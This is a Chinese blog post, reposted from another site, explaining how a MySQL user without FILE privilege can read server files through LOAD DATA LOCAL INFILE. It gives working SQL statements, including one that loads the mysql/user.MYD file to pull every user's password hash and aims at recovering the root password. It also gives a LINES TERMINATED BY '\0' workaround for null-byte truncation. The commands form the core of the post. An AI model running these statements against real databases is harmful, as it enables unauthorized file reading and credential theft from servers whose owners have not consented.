最新消息:

Mysql漏洞利用(load data local infile)在mysql用户没有File权限的情况下读文件

MySQL数据库 admin 4067浏览 0评论

众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件 或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data local infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:

LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';

后来我就一直想怎么利用这个问题。一个可行的思路如下: 
我们去读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash,我们只要读取到这个文件,就差不多读取到了root的密码。 
于是本地测试,注意,我当前连接的用户test是没有File权限的: 
 

下面我们执行如下语句:

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';

然后select * from test2; 


发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件 


OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法绕过这个限制。 
经过几次尝试发现,在后面加上LINES TERMINATED BY ‘\0′ 即可,这样子就把截断符号作为分隔符处理了,完整的语句:

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '\0';

效果: 
 

OK,完成!

转自:http://www.truesec.net/?p=127

本文隐藏内容 登陆 后才可以浏览

转载请注明:jinglingshu的博客 » Mysql漏洞利用(load data local infile)在mysql用户没有File权限的情况下读文件

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 关于load data local infile读文件的权限问题可以参考:http://www.jinglingshu.wiki/?p=7301
    admin11年前 (2014-06-27)回复